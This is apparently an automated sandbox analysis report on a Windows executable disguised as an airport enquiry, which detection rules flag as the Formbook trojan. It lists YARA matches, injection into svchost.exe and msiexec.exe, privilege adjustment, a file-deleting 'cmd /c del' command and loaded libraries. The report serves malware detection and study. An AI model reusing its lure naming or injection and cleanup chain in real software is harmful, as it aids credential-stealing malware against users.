Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05035AA0	3_2_05035AA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0508DAAC	3_2_0508DAAC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05091AA3	3_2_05091AA3
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0509DAC6	3_2_0509DAC6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_03102FB0	3_2_03102FB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_03109E60	3_2_03109E60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_03102D90	3_2_03102D90
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04E6A036	3_2_04E6A036
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04E6E5CD	3_2_04E6E5CD
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04E62D02	3_2_04E62D02
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04E61082	3_2_04E61082
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04E68912	3_2_04E68912
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04E6B232	3_2_04E6B232
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04E65B32	3_2_04E65B32
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_04E65B30	3_2_04E65B30

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: String function: 00CA8B40 appears 42 times
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: String function: 00C87F41 appears 35 times
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: String function: 00CA0D27 appears 70 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 030BF290 appears 103 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03075130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 030AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0302B970 appears 262 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03087E54 appears 107 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 0505EA12 appears 86 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 04FDB970 appears 262 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 05037E54 appears 107 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 05025130 appears 58 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 0506F290 appears 103 times

Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe, 00000000.00000003.1678566324.00000000040B3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs New Al Maktoum International Airport Enquiry Ref #2401249.exe
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe, 00000000.00000003.1678332913.000000000422D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs New Al Maktoum International Airport Enquiry Ref #2401249.exe

Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.svchost.exe.2670000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 1.2.svchost.exe.2670000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.svchost.exe.2670000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.4143107748.000000000E6AA000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_772cc62d os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8343b5d02d74791ba2d5d52d19a759f761de2b5470d935000bc27ea6c0633f5, id = 772cc62d-345c-42d8-97ab-f67e447ddca4, last_modified = 2022-07-18
Source: 00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: New Al Maktoum International Airport Enquiry Ref #2401249.exe PID: 7428, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: svchost.exe PID: 7456, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: msiexec.exe PID: 7504, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.evad.winEXE@8/4@14/5

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CEA2D5 GetLastError,FormatMessageW,

0_2_00CEA2D5

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CD8713 AdjustTokenPrivileges,CloseHandle,	0_2_00CD8713
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CD8CC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	0_2_00CD8CC3
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_00972F93 GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,	3_2_00972F93

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CEB59E SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00CEB59E

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CFF121 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00CFF121

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CF86D0 CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

0_2_00CF86D0

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00C84FE9 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00C84FE9

Source: C:\Windows\SysWOW64\msiexec.exe

Code function: 3_2_00977DD0 StartServiceCtrlDispatcherW,GetLastError,

3_2_00977DD0

Source: C:\Windows\SysWOW64\msiexec.exe

Code function: 3_2_00977DD0 StartServiceCtrlDispatcherW,GetLastError,

3_2_00977DD0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7568:120:WilError_03

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

File created: C:\Users\user\AppData\Local\Temp\aut39CA.tmp

Jump to behavior

Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	ReversingLabs: Detection: 31%
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Virustotal: Detection: 29%

Source: unknown	Process created: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe "C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe"
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\SysWOW64\svchost.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\SysWOW64\svchost.exe"	Jump to behavior

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{50CE75BC-766C-4136-BF5E-9197AA23569E}\InProcServer32

Jump to behavior

Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe

Static file information: File size 1120768 > 1048576

Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: msiexec.pdb source: svchost.exe, 00000001.00000003.1731890191.0000000002A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1732589593.0000000002DE0000.00000040.10000000.00040000.00000000.sdmp, svchost.exe, 00000001.00000003.1731832178.0000000002A1B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, msiexec.exe, 00000003.00000002.4130359525.0000000000970000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: msiexec.pdbGCTL source: svchost.exe, 00000001.00000003.1731890191.0000000002A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1732589593.0000000002DE0000.00000040.10000000.00040000.00000000.sdmp, svchost.exe, 00000001.00000003.1731832178.0000000002A1B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.4130359525.0000000000970000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: New Al Maktoum International Airport Enquiry Ref #2401249.exe, 00000000.00000003.1677807902.0000000003F60000.00000004.00001000.00020000.00000000.sdmp, New Al Maktoum International Airport Enquiry Ref #2401249.exe, 00000000.00000003.1681546736.0000000004130000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1679568145.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1732726618.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1685637489.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1732726618.0000000003000000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.4131442242.000000000514E000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.1732637113.0000000004C52000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.1734235728.0000000004E07000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.4131442242.0000000004FB0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: New Al Maktoum International Airport Enquiry Ref #2401249.exe, 00000000.00000003.1677807902.0000000003F60000.00000004.00001000.00020000.00000000.sdmp, New Al Maktoum International Airport Enquiry Ref #2401249.exe, 00000000.00000003.1681546736.0000000004130000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1679568145.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1732726618.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1685637489.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1732726618.0000000003000000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, msiexec.exe, 00000003.00000002.4131442242.000000000514E000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.1732637113.0000000004C52000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.1734235728.0000000004E07000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.4131442242.0000000004FB0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: explorer.exe, 00000002.00000002.4144395601.0000000010E1F000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.4130764013.00000000031D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.4132018408.00000000054FF000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: explorer.exe, 00000002.00000002.4144395601.0000000010E1F000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.4130764013.00000000031D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.4132018408.00000000054FF000.00000004.10000000.00040000.00000000.sdmp

